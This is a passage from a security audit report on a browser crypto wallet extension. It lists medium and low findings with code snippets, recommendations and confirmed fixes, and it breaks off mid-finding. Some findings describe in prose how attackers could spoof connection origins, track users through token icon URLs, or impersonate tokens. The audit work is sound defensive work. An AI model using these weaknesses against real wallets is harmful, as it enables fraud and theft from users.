Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/125

Summary

The connection approval popup reads the requesting origin from the URL search parameters and displays it to the user. The actual origin used for the connection record is obtained from the background's pending connection state, creating a potential discrepancy between what the user sees and what gets stored.

Vulnerability Detail

When a dApp requests connection, the background opens a popup with the origin as a URL parameter. The approval page reads this parameter and displays it as the requesting site's hostname. However, the background service worker already has the real origin stored in its pending connection state.

If an attacker can manipulate the popup URL (e.g., by opening a new extension popup window with modified parameters, or if the URL construction has a flaw), the displayed hostname could differ from the actual origin that the connection will be recorded against. The user would see one site name but approve a connection for a different origin.

The background handler uses the origin from the payload rather than from the stored pending request, which means the popup sends back the (potentially spoofed) origin in the APPROVE_CONNECTION message.

Impact

A user could be tricked into approving a connection for a different origin than what is displayed in the approval popup, if the popup URL can be manipulated.

Code Snippet

`src/popup/pages/ConnectApproval.tsx` **line 9** : Origin from URL params:

```
const origin = searchParams.get('origin') || ''
```

Line 30 – Spoofable origin sent back to background:

```
const res = await sendMessage('APPROVE_CONNECTION', { origin })
```

Tool Used

Manual Review

Recommendation

The approval popup should fetch the pending connection's origin directly from the background service worker state, not from URL parameters.

Discussion

Rahat-ch

Addressed in this PR https://github.com/MoveIndustries/motion-wallet/pull/25

defsec

Fix is confirmed : https://github.com/MoveIndustries/motion-wallet/pull/25/changes

Issue M-15: TokenIcon renders unsanitized onchain iconUri as img src [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/130

Summary

The token icon component renders the `icon_uri` field from on-chain token metadata directly as an `<img src>` attribute. Anyone can deploy a token with an arbitrary URL as its icon, enabling tracking pixels, IP address harvesting, and potential SSRF like information leakage.

Vulnerability Detail

When the wallet displays token balances, each token's icon is rendered using the `icon_uri` from on-chain metadata. This field is set by the token deployer and can be any URL. The `TokenIcon` component passes this URL directly to `<img src={resolvedUri}>` without any sanitization, URL scheme validation, or content-type verification.

A malicious token deployer can set `icon_uri` to a URL on their server, which would be fetched by every user who holds that token. This reveals the user's IP address to the token deployer. The URL could also include a unique identifier per wallet address, enabling the deployer to correlate on-chain addresses with IP addresses.

Impact

Passive tracking of wallet users. Any token deployer can set an icon URL that harvests IP addresses and correlates them with onchain wallet addresses when the user opens the wallet popup.

Code Snippet

`src/popup/components/token/TokenIcon.tsx` lines 27–36:

```
if (resolvedUri && !imgError) {
  return (
    <div className={`${sizes[size]} rounded-full overflow-hidden shrink-0`}>
      <img
        src={resolvedUri}    // Unsanitized on-chain URI rendered directly
        alt={symbol}
        className="w-full h-full object-cover"
        onError={() => setImgError(true)}
      />
```

```
    </div>
  )
}
```

`src/core/network/indexer.ts` **lines 82** – iconUri from on-chain metadata:

```
iconUri: b.metadata.icon_uri || DEFAULT_ICON_URIS[b.metadata.symbol] || undefined,
```

Tool Used

Manual Review

Recommendation

1. Validate that `iconUri` uses `https:` or `data:image/` scheme only.
2. Proxy token icons through a trusted CDN or cache service.
3. Use CSP `img-src` directive to restrict image loading origins.

Discussion

Rahat-ch

Addressed in this PR https://github.com/MoveIndustries/motion-wallet/pull/23

defsec

Fix is confirmed : https://github.com/MoveIndustries/motion-wallet/pull/23

Issue M-16: `MIGRATE_MOVE_TO_FA` hardcodes accountIndex: 0 in popup [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/132

Summary

The Home page's migration button hardcodes `accountIndex: 0` instead of using the user's currently active account index. If the user has multiple accounts and the active one is not index 0, the migration runs on the wrong account.

Vulnerability Detail

When the user clicks the migration banner to convert CoinStore MOVE to FungibleAsset MOVE, the popup sends `{ network, accountIndex: 0 }` regardless of which account is active. If the user has derived multiple accounts and the active one is index 1 or higher, the migration executes on account 0, which may have a different MOVE balance or may have already been migrated.

Impact

Migration runs on the wrong account, potentially failing (if account 0 already migrated) or migrating the wrong account's tokens.

Code Snippet

`src/popup/pages/Home.tsx` line 45:

```
const res = await sendMessage('MIGRATE_MOVE_TO_FA', { network, accountIndex: 0 })
// Should use: accountIndex: activeAccountIndex
```

Tool Used

Manual Review

Recommendation

Use the active account index from the wallet state instead of hardcoding 0.

Discussion

Rahat-ch

Addressed in this PR https://github.com/MoveIndustries/motion-wallet/pull/33

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/33.

Issue M-17: Password complexity rules declared but never enforced [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/145

Summary

`PASSWORD_CONFIG` declares `REQUIRE_UPPERCASE: true`, `REQUIRE_LOWERCASE: true`, and `REQUIRE_NUMBER: true`, but `PasswordForm` only checks minimum length. Users can create wallets with weak passwords like `aaaaaaaa`.

Vulnerability Detail

The predefined rules are not enforced on the Password field.

Code Snippet

`src/core/crypto/constants.ts` lines 21-26:

```
export const PASSWORD_CONFIG = {
  MIN_LENGTH: 8,
  REQUIRE_UPPERCASE: true,    // Never checked
  REQUIRE_LOWERCASE: true,    // Never checked
  REQUIRE_NUMBER: true,        // Never checked
}
```

`src/onboarding/components/PasswordForm.tsx` line 25:

```
const isValid = password.length >= PASSWORD_CONFIG.MIN_LENGTH
  && password === confirmPassword
  && agreedToTerms
```

Tool Used

Manual Review

Recommendation

Enforce all declared rules in `PasswordForm` validation.

Discussion

Rahat-ch

Addressed in this PR https://github.com/MoveIndustries/motion-wallet/pull/22

defsec

Fix is confirmed : https://github.com/MoveIndustries/motion-wallet/pull/22

Issue M-18: No Unicode normalization on password before PBKDF2 key derivation [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/148

Summary

The password is passed directly to `TextEncoder.encode()` without Unicode normalization. The same visual password composed as NFC vs NFD produces different PBKDF2 keys, potentially locking the user out across platforms.

Vulnerability Detail

At `src/core/crypto/vault.ts`, the password is passed to `encoder.encode(password)` without calling `.normalize('NFKC')` first. Unicode allows the same visual character to be represented in multiple byte sequences. For example, `"cafe\u0301"` (NFD) and `"caf\u00e9"` (NFC) look identical but produce different UTF-8 bytes. macOS tends to use NFD internally while Windows uses NFC. Without normalization before PBKDF2 key derivation, a wallet created on macOS may be unrecoverable on Windows with the same password.

Impact

Users can be permanently locked out of their wallet when entering the same visual password on a different platform or after a browser/OS update changes input handling.

Code Snippet

`src/core/crypto/vault.ts` line 24:

```
const keyMaterial = await crypto.subtle.importKey(
  'raw',
  encoder.encode(password),  // No .normalize('NFKC')
  'PBKDF2', false, ['deriveKey']
)
```

Tool Used

Manual Review

Recommendation

Normalize to NFKC before encoding: `encoder.encode(password.normalize('NFKC'))`.

Discussion

Rahat-ch

This is addressed by https://github.com/MoveIndustries/motion-wallet/pull/37, which normalizes the password with NFKC before PBKDF2 key derivation.

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/37.

Issue M-19: Password homogeneity not enforced [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/149

Summary

`importFromPrivateKey` accepts its own `password` parameter and overwrites `cachedPassword`. `switchWallet` uses `cachedPassword` to decrypt all vaults, assuming a single global password. If vaults were encrypted with different passwords, wallet switching fails with a misleading "Incorrect password" error.

Vulnerability Detail

The API surface allows per-wallet passwords: `importFromPrivateKey` accepts its own `password` parameter and overwrites `cachedPassword`. If the user imports a wallet with a different password than the original, `cachedPassword` becomes the import password. When switching back to the original wallet, `switchWallet` uses `cachedPassword` to decrypt the original vault, which was encrypted with the creation password. AES-GCM decryption fails.

Impact

Users can create a state that permanently prevents wallet switching without re-entering the original password and there is no UI path to provide a per-wallet password during switch. The error message "Incorrect password" is misleading since the user never entered a password for the switch.

Code Snippet

`src/services/wallet/account.ts` line 263:

```
cachedPassword = password  // Overwrites with import-specific password
```

Line 311:

```
const accounts = await unlockVault(target.vault, cachedPassword, currentNetwork)
// cachedPassword may not match target vault's encryption password
```

Tool Used

Manual Review

Recommendation

Either enforce a single global password by re-encrypting all vaults on password set, or prompt the user for the target wallet's password during switch.

Discussion

Rahat-ch

Addressed in this PR https://github.com/MoveIndustries/motion-wallet/pull/22

defsec

Fix is confirmed : https://github.com/MoveIndustries/motion-wallet/pull/22

Issue M-20: Price impact hardcoded to 0 [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/150

Summary

`getSwapQuote` at `src/services/swap/mosaic.ts` always returns `priceImpact: 0` as a hardcoded value. The UI warning at `src/popup/pages/Swap.tsx` checks `quote.priceImpact > 3` to display a warning color, but this condition can never be true since the value is always 0. The Mosaic API response data at `mosaic.ts` may contain price impact information, but it is never extracted.

Vulnerability Detail

`getSwapQuote` at `src/services/swap/mosaic.ts` always returns `priceImpact: 0` as a hardcoded value. The UI warning at `src/popup/pages/Swap.tsx` checks `quote.priceImpact > 3` to display a warning color, but this condition can never be true since the value is always 0. The Mosaic API response data at `mosaic.ts` may contain price impact information, but it is never extracted.

Impact

Unused warning.

Code Snippet

`src/services/swap/mosaic.ts` line 113:

```
priceImpact: 0,  // Hardcoded - never reflects actual market conditions
```

`src/popup/pages/Swap.tsx` lines 313-314:

```
<span className={`font-mono ${quote.priceImpact > 3 ? 'text-warning' : ''}`}>
  {quote.priceImpact?.toFixed(2) ?? '0.00'}%
```

Tool Used

Manual Review

Recommendation

Calculate price impact from `amountIn`/`amountOut` ratio vs market price, or parse it from the Mosaic API response if available.

Discussion

Rahat-ch

This is addressed by https://github.com/MoveIndustries/motion-wallet/pull/41

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/41, but need to retest.

Issue M-21: Swap token reversal injects locale-formatted amount [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/170

Summary

When the user clicks the swap direction button, `formatSwapAmount` produces a locale-formatted string (with commas for thousands) that is fed back as the input amount. `parseFloat` stops at the first comma, causing a 1000x underswap.

Vulnerability Detail

At `src/popup/pages/Swap.tsx`, `swapTokens()` calls `formatSwapAmount(quote.amountOut, tokenOut.decimals)` and sets the result as `amountIn`. At `src/services/swap/mosaic.ts`, `formatSwapAmount` calls `num.toLocaleString()` for amounts >= 1000, producing strings like `"5,000"` in en-US locale. When this is later parsed by `parseSwapAmount`, `parseFloat("5,000")` returns `5` (stops at the comma). The user intended to swap 5,000 tokens but instead swaps 5.

Impact

Users lose up to 1000x the intended trade value when reversing swap direction on amounts >= 1000. The swap button remains enabled because `parseFloat("5,000") > 0` evaluates as true.

Code Snippet

`src/popup/pages/Swap.tsx` line 102:

```
setAmountIn(quote ? formatSwapAmount(quote.amountOut, tokenOut.decimals) : '')
```

`src/services/swap/mosaic.ts` line 216:

```
return num.toLocaleString(undefined, { maximumFractionDigits: 2 })
```

Tool Used

Manual Review

Recommendation

Never use `toLocaleString` for values that will be parsed as numbers. Use `toFixed()` or a custom formatter that produces a plain decimal string without locale separators.

Discussion

Rahat-ch

addressed on https://github.com/MoveIndustries/motion-wallet/pull/41

defsec

Fix is confirmed : https://github.com/MoveIndustries/motion-wallet/pull/41

Issue M-22: `moveBalance` match by symbol allows on-chain token impersonation on home screen [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/171

Summary

The home page's primary balance display uses `Array.find` with a symbol match, allowing a malicious token with `symbol: "MOVE"` to hijack the displayed balance.

Vulnerability Detail

At `src/popup/pages/Home.tsx`, `balances?.find()` checks `b.assetType === MOVE_TOKEN.assetType` OR `b.metadata.symbol === 'MOVE'` OR `b.metadata.symbol === 'APT'`. `Array.find` returns the first match. If the indexer returns a malicious token (with `symbol: "MOVE"` and a fraudulently high `amount`) before the real MOVE token, the home page displays the fake balance as the user's primary MOVE balance.

Impact

The primary balance on the wallet home screen can be manipulated by deploying a token with `symbol: "MOVE"`. Users may make financial decisions based on a fraudulent balance display.

Code Snippet

`src/popup/pages/Home.tsx` lines 56-59:

```
const moveBalance = balances?.find(b =>
  b.assetType === MOVE_TOKEN.assetType || b.metadata.symbol === 'MOVE' ||
  ↪  b.metadata.symbol === 'APT'
)
```

Tool Used

Manual Review

Recommendation

Match exclusively by `assetType`, not by symbol. Remove the symbol-based fallback.

Discussion

Rahat-ch

Addressed in this PR https://github.com/MoveIndustries/motion-wallet/pull/23

defsec

Fix is confirmed : https://github.com/MoveIndustries/motion-wallet/pull/23

Issue M-23: Re-onboarding without addWallet flag creates cross-password wallet corruption [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/172

Summary

The onboarding welcome page does not block re-entry when a wallet is already initialized. A user or attacker can navigate directly to the onboarding URL and create a second wallet with a different password, permanently corrupting wallet switching.

Vulnerability Detail

At `src/onboarding/pages/WelcomePage.tsx`, when `INIT_CHECK` returns `initialized: true`, the code sets `checking = false` and renders the full welcome page with Create/Import buttons, identical behavior to the `initialized: false` case. There is no redirect, no warning, no blocking. `createWallet` at `src/services/wallet/account.ts` has no guard against existing wallets. After creation, `cachedPassword` is overwritten with the new password. When `switchWallet` tries to decrypt the old wallet using `cachedPassword`, it fails because the passwords differ.

Impact

Old wallet becomes permanently inaccessible through the UI. The user cannot switch to it (wrong password) and cannot unlock with the old password (active wallet is the new one). Requires manual storage manipulation to recover.

Code Snippet

`src/onboarding/pages/WelcomePage.tsx` lines 17-21:

```
if (initialized) {
  setChecking(false)
  return  // No redirect - falls through to render Create/Import buttons
}
```

Tool Used

Manual Review

Recommendation

When `initialized === true` and `isAddWallet === false`, redirect to the popup or show a warning. Block wallet creation when wallets already exist unless `addWallet` flag is set.

Discussion

Rahat-ch

Addressed in this PR https://github.com/MoveIndustries/motion-wallet/pull/34

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/34.

Issue M-24: `lock()` does not clear accounts, balances, or React Query cache [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/174

Summary

When the user locks the wallet from Settings, only `isLocked` is set to true. Account addresses, balances, and transaction history remain in the Zustand store and React Query cache.

Vulnerability Detail

At `src/popup/hooks/useWallet.ts`, `lock()` calls `sendMessage('LOCK_WALLET')` and `setLocked(true)`. It never calls `setAccounts([])` or clears the React Query cache. The `WALLET_LOCKED` broadcast from the background (handled in `App.tsx`) would clear accounts, but Settings.tsx navigates to `/unlock` immediately after `lock()`, the broadcast may not arrive before navigation.

Impact

After locking, account addresses, public keys, token balances, and transaction history remain accessible in memory via React DevTools or heap inspection. The lock screen gives a false sense of security.

Code Snippet

`src/popup/hooks/useWallet.ts` lines 40-43:

```
const lock = useCallback(async () => {
  await sendMessage('LOCK_WALLET')
  setLocked(true)
  // accounts, balances, React Query cache NOT cleared
}, [setLocked])
```

Tool Used

Manual Review

Recommendation

Clear accounts, active wallet state, and invalidate all React Query caches in the `lock()` function before navigating to unlock.

Discussion

Rahat-ch

Addressed in this PR https://github.com/MoveIndustries/motion-wallet/pull/34

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/34.

Issue L-1: Mosaic API key extractable from extension bundle [ACKNOWLEDGED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/91

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

The Mosaic API key is inlined at build time as a string literal in the compiled JavaScript bundle and is extractable by anyone who installs the extension.

Vulnerability Detail

The Vite build process replaces environment variable references with their literal values at compile time. While the API key is only used in the background service worker and is not exposed to page context, it is present in the extension's source files which can be inspected via developer tools by anyone who installs the extension.

Impact

API key abuse

Code Snippet

`src/services/swap/mosaic.ts` **line 3** – `import.meta.env.VITE_MOSAIC_API_KEY`

Tool Used

Manual Review

Recommendation

Proxy Mosaic API calls through a backend service that holds the API key server-side, or accept the risk with appropriate rate limiting on the Mosaic side.

Discussion

Rahat-ch

Won't fix – API has rate limiting.

Issue L-2: Transaction approval arguments hidden by default [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/93

Summary

The transaction approval popup collapses function arguments by default, requiring the user to manually click to expand them. Users can approve transactions without ever seeing the actual arguments such as recipient address and transfer amount.

Vulnerability Detail

The approval popup component initializes its ”show arguments” toggle states to false. This means when the popup opens, the user sees only the function name displayed prominently. The actual function arguments, which contain critical information like the recipient address, transfer amount, and other parameters, are hidden behind a collapsible section that requires an explicit click to reveal.

A malicious dApp could submit a transaction where the function name looks benign (such as a swap from a legitimate-looking contract address) but the arguments encode a transfer of the user's entire balance to an attacker-controlled address. Most users will approve without expanding the arguments section, especially if the function name appears familiar.

Impact

Users can be tricked into approving transactions with malicious arguments they never reviewed. This is a phishing amplifier for dApp-initiated transaction attacks.

Code Snippet

`src/popup/pages/TransactionApproval.tsx` **lines 66–67:**

```
const [showTypeArgs, setShowTypeArgs] = useState(false)
const [showArgs, setShowArgs] = useState(false)
```

Lines 370–391 – Arguments hidden behind click:

```
<button onClick={() => setShowArgs(!showArgs)} className="w-full flex items-center
↪  justify-between">
  <span className="text-[14px] text-text-secondary">Arguments
  ↪  ({txData!.payload.functionArguments.length})</span>
```

```
  {showArgs ? <ChevronUp /> : <ChevronDown />}
</button>
{showArgs && (
  <div className="max-h-40 overflow-y-auto" style={{ marginTop: 12 }}>
    {/* arguments rendered only when expanded */}
  </div>
)}
```

Tool Used

Manual Review

Recommendation

Default the show arguments toggle to true, always show transaction arguments expanded.

Discussion

Rahat-ch

Addressed in this PR https://github.com/MoveIndustries/motion-wallet/pull/24

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/24

Issue L-3: matchesActiveWallet returns true for null walletId [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/95

Summary

The connection matching function returns true when the current wallet ID is null, causing all stored connections to match regardless of which wallet they belong to.

Vulnerability Detail

The function that determines whether a stored connection belongs to the currently active wallet has a fallback behavior: when the active wallet ID is null, it returns true for every connection. This is intended to handle legacy wallets that predate the multi-wallet feature, but it creates a dangerous side effect.

The active wallet ID becomes null in several scenarios: after the wallet is locked, after the service worker restarts (since module-level state is lost), and for legacy single-vault wallets. In any of these states, every stored connection, regardless of which wallet it was originally established for, is treated as belonging to the current wallet.

Impact

If a user has two wallets and a dApp is connected to wallet A, switching to wallet B followed by a service worker restart causes the dApp's connection to wallet A to match against wallet B. A recovered transaction could then be signed by the wrong wallet.

Code Snippet

`src/background/connection-manager.ts` **lines 35–40:**

```
function matchesActiveWallet(connection: StoredConnection): boolean {
  const walletId = getCurrentWalletId()
  if (!walletId) return true  // Returns true for ALL connections
  if (!connection.walletId) return false
  return connection.walletId === walletId
}
```

Tool Used

Manual Review

Recommendation

When the wallet ID is null (wallet locked or unknown state), return false, no connections should match:

```
if (!walletId) return false
```

Discussion

Rahat-ch

addressed on https://github.com/MoveIndustries/motion-wallet/pull/56

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/56.

Issue L-4: Transaction ID predictability [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/96

Summary

Transaction IDs follow a predictable pattern with a counter that resets on service worker restart. The approval function only verifies the ID exists, not that the caller is the correct approval popup.

Vulnerability Detail

Transaction identifiers are generated by concatenating a timestamp with a monotonically incrementing counter. The counter resets to zero on every service worker restart, making IDs predictable.

Impact

Weak number generation.

Code Snippet

`src/background/transaction-manager.ts` **lines 43–47:**

```
let txCounter = 0
function generateId(): string {
  return `tx_${Date.now()}_${++txCounter}`
}
```

Tool Used

Manual Review

Recommendation

Use cryptographically random UUIDs for transaction IDs. Associate each pending transaction with the popup window ID and verify at approval time.

Discussion

Rahat-ch

skipping should have been fixed on https://github.com/MoveIndustries/motion-wallet/pull/25

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/25.

Issue L-5: DELETE_WALLET and RENAME_WALLET lack unlock verification [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/97

Summary

The delete and rename wallet message handlers modify wallet storage without verifying the wallet is unlocked, creating a defense-in-depth gap.

Vulnerability Detail

The delete wallet and rename wallet handlers proceed directly to storage mutations without first checking whether the wallet is in an unlocked state. While sender validation ensures only internal extension pages can invoke these handlers, there is no explicit unlock guard.

Impact

A compromised popup page could delete wallets from storage even when the wallet is locked, because the storage write happens before the password-requiring wallet switch.

Code Snippet

`src/background/message-handlers.ts` **lines 372–384:**

```
DELETE_WALLET: async (payload) => {
  const { walletId } = payload as { walletId: string }
  const result = await deleteWallet(walletId)  // No isWalletUnlocked() check
  broadcastDisconnect()
  return { wallets: result.wallets }
},

RENAME_WALLET: async (payload) => {
  const { walletId, name } = payload as { walletId: string; name: string }
  await renameWallet(walletId, name)  // No isWalletUnlocked() check
  // ...
},
```

Tool Used

Manual Review

Recommendation

Add an explicit unlock verification at the top of both handlers before any storage mutation.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/55

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/55/changes.

Issue L-6: Unencrypted metadata in chrome.storage.local [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/98

Summary

Connection records, transaction history, and settings are stored unencrypted in local storage, exposing user metadata to any entity with storage access.

Vulnerability Detail

The extension stores several categories of metadata in plaintext in Chrome's local storage: dApp connection records (including the site origin, wallet address, wallet ID, permissions, and connection timestamp), transaction history (including hashes, sender and recipient addresses, amounts, token types, timestamps, origin, and function names), and wallet settings (including network, auto-lock timeout, and currency preference).

Impact

Missing encryption on the metadata.

Code Snippet

`src/core/storage/secure-storage.ts` **lines 4–11:**

```
const STORAGE_KEYS = {
  VAULT: 'mv_vault',
  SETTINGS: 'mv_settings',
  CONNECTIONS: 'mv_connections',
  DAPP_TRANSACTIONS: 'mv_dapp_transactions',
  WALLETS: 'mv_wallets',
  ACTIVE_WALLET: 'mv_active_wallet',
} as const
```

Tool Used

Manual Review

Recommendation

Encrypt connection and transaction data at rest using a key derived from the vault password. Use session storage for transient state.

Discussion

Rahat-ch

Addressed in this PR https://github.com/MoveIndustries/motion-wallet/pull/27

defsec

Fix is confirmed : https://github.com/MoveIndustries/motion-wallet/pull/27

Issue L-7: Dual BIP39 dependencies [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/99

Summary

Both the scure/bip39 and the legacy bip39 packages are listed as dependencies, but only scure/bip39 is actually imported anywhere in the codebase.

Vulnerability Detail

The unused bip39 package increases bundle size and supply chain attack surface without providing any functionality.

Impact

Unnecessary supply chain risk from an unused dependency.

Code Snippet

`package.json` **line 24** – `"bip39": "3.1.0"` listed but never imported.

Tool Used

Manual Review

Recommendation

Remove the unused bip39 dependency from package.json.

Discussion

Rahat-ch

addressed on https://github.com/MoveIndustries/motion-wallet/pull/58

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/58/changes.

Issue L-8: Verification shuffle uses `Math.random()` [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/100

Summary

The mnemonic verification page uses Math.random() for shuffling word choices instead of a cryptographically secure random source.

Vulnerability Detail

The shuffle function used to randomize the word selection chips on the verification page uses Math.random(), which is not cryptographically secure. While this is only used for the UX verification step (not for any security-critical operation), a predictable shuffle could theoretically allow an observer to infer which words are the correct ones based on their positions.

Impact

The verification step is a UX feature to ensure the user recorded their mnemonic. The mnemonic itself is already in memory at this point.

Code Snippet

`src/onboarding/pages/VerifyPhrasePage.tsx` lines 11–18:

```
function shuffle<T>(arr: T[]): T[] {
  const a = [...arr]
  for (let i = a.length - 1; i > 0; i--) {
    const j = Math.floor(Math.random() * (i + 1))  // Not crypto-secure
    ;[a[i], a[j]] = [a[j], a[i]]
  }
  return a
}
```

Tool Used

Manual Review

Recommendation

Use `crypto.getRandomValues()` for the shuffle:

```
const j = crypto.getRandomValues(new Uint32Array(1))[0] % (i + 1)
```

Discussion

Rahat-ch

Resolved earliear on PR 54

defsec

https://github.com/MoveIndustries/motion-wallet/pull/54 - Fix is confirmed.

Issue L-9: No transaction simulation before approval [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/102

Summary

The transaction approval popup displays raw function names and collapsed arguments but does not simulate the transaction to show the user what the transaction will actually do (balance changes, token transfers, contract interactions).

Vulnerability Detail

Motion Wallet's transaction approval popup only displays the raw Move function identifier and its arguments.

Impact

Users have no visibility into what a transaction will actually do before approving it.

Code Snippet

`src/popup/pages/TransactionApproval.tsx` **lines 71–105** – Only fetches param names, no simulation:

```
useEffect(() => {
  // ...
  if (txId) {
    setMode('transaction')
    sendMessage('GET_PENDING_TRANSACTION', { id: txId }).then(res => {
      // ...
      if (res.success && data?.transaction) {
        setTxData(data.transaction)
        // Only fetches ABI param names - no simulation
        fetchParamNames(data.transaction.payload.function,
        ↪  network).then(setParamNames)
      }
    })
  }
  // ...
}, [])
```

Tool Used

Manual Review

Recommendation

Implement transaction simulation before displaying the approval popup.

Discussion

Rahat-ch

Addressed in this PR https://github.com/MoveIndustries/motion-wallet/pull/24

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/24/changes.

Issue L-10: DApps page crashes on malformed connection origin [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/104

Summary

The Connected Apps management page parses stored connection origins with the URL constructor without error handling. A malformed origin in storage would crash the component and make the DApps management page inaccessible.

Vulnerability Detail

The DApps page renders each stored connection by parsing its origin with `new URL(conn.origin).hostname`. If a connection record contains a non-URL string as its origin (e.g., due to a bug, data corruption, or edge case in origin capture), the URL constructor throws a TypeError. The ErrorBoundary would catch the rendering error, but the entire DApps page would become unusable, preventing the user from managing or disconnecting any connected sites.

Impact

A single malformed connection record renders the DApps management page inaccessible. The user cannot disconnect any sites until the malformed record is manually removed from storage.

Code Snippet

`src/popup/pages/DApps.tsx` line 48:

```
<p className="font-medium">{new URL(conn.origin).hostname}</p>
// Throws TypeError if conn.origin is not a valid URL
```

Tool Used

Manual Review

Recommendation

Wrap in a try/catch or use a safe parsing function:

```
<p className="font-medium">
  {(() => { try { return new URL(conn.origin).hostname } catch { return conn.origin
  ↪  } })()}
</p>
```

Discussion

Rahat-ch

Fixed in MoveIndustries/motion-wallet#80 – wrapped URL parsing in DApps + Settings with safe getHostname helper.

Issue L-11: `formatTokenAmount` uses Number exponentiation before BigInt [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/109

Summary

The token balance formatting function computes the divisor as a JavaScript Number before converting to BigInt. For tokens with more than 17 decimals, the Number exponentiation loses precision, causing the wallet to display incorrect balances.

Vulnerability Detail

The expression `BigInt(10 ** decimals)` first computes `10 ** decimals` as a floating-point Number, which loses precision for values above Number.MAX_SAFE_INTEGER (decimals greater than 17). The imprecise Number is then converted to BigInt, carrying the precision error. A malicious token deployed on-chain can set its decimals metadata to any value, triggering this bug and causing the wallet to display an inflated or deflated balance.

Impact

Tokens with more than 17 decimals display incorrect balances.

Code Snippet

`src/services/wallet/balance.ts` lines 57–59:

```
export function formatTokenAmount(amount: string, decimals: number): string {
  const value = BigInt(amount)
  const divisor = BigInt(10 ** decimals)  // 10 ** 20 as Number loses precision
  ↪  before BigInt conversion
```

Tool Used

Manual Review

Recommendation

Use BigInt exponentiation: `const divisor = 10n ** BigInt(decimals)`

Discussion

Rahat-ch

addressed on https://github.com/MoveIndustries/motion-wallet/pull/56

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/56.

Issue L-12: Swap quote has no TTL [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/110

Summary

The swap page fetches a quote when inputs change but performs no freshness check before execution. A user can execute a swap with a quote that is minutes or hours old.

Vulnerability Detail

The quote object has no timestamp or TTL field. When the user clicks Swap, the entire stale quote, including the payload with function arguments and minimum output amount, is sent to the background.

Impact

Users can execute swaps with severely outdated quotes.

Code Snippet

`src/popup/pages/Swap.tsx` **lines 118–136:**

```
const handleSwap = async () => {
  if (!quote || !tokenOut || !activeAccount || swapping) return
  // No timestamp check - quote could be arbitrarily old
  const response = await sendMessage<{ result: { hash: string; status: string }
  ↪  }>('EXECUTE_SWAP', {
    network,
    accountIndex: activeAccountIndex,
    // ...
    quote,  // This quote could be minutes or hours old
  })
```

Tool Used

Manual Review

Recommendation

Store the quote fetch timestamp. Reject execution if the quote is older than a threshold (e.g., 30 seconds).

Discussion

Rahat-ch

addressed on https://github.com/MoveIndustries/motion-wallet/pull/61

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/61.

Issue L-13: dApp triggered rejections reset autolock timer [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/112

Summary

The auto-lock alarm is reset on every user action message type, including transaction and connection rejections. A malicious dApp that repeatedly sends requests forces the user to reject each one, and each rejection resets the auto-lock timer.

Vulnerability Detail

The user action types set includes all rejection message types. When the user rejects a dApp transaction approval, the rejection message triggers the auto-lock alarm reset. A dApp can send transaction requests at a rate within the rate limit, each opening an approval popup. Each time the user clicks ”Reject,” the auto-lock timer resets.

Impact

A malicious dApp can prevent the wallet from auto-locking by continuously triggering approval popups that the user must dismiss.

Code Snippet

`src/background/index.ts` lines 8–16:

```
const USER_ACTION_TYPES = new Set([
  'APPROVE_TRANSACTION', 'REJECT_TRANSACTION',  // Rejection resets timer
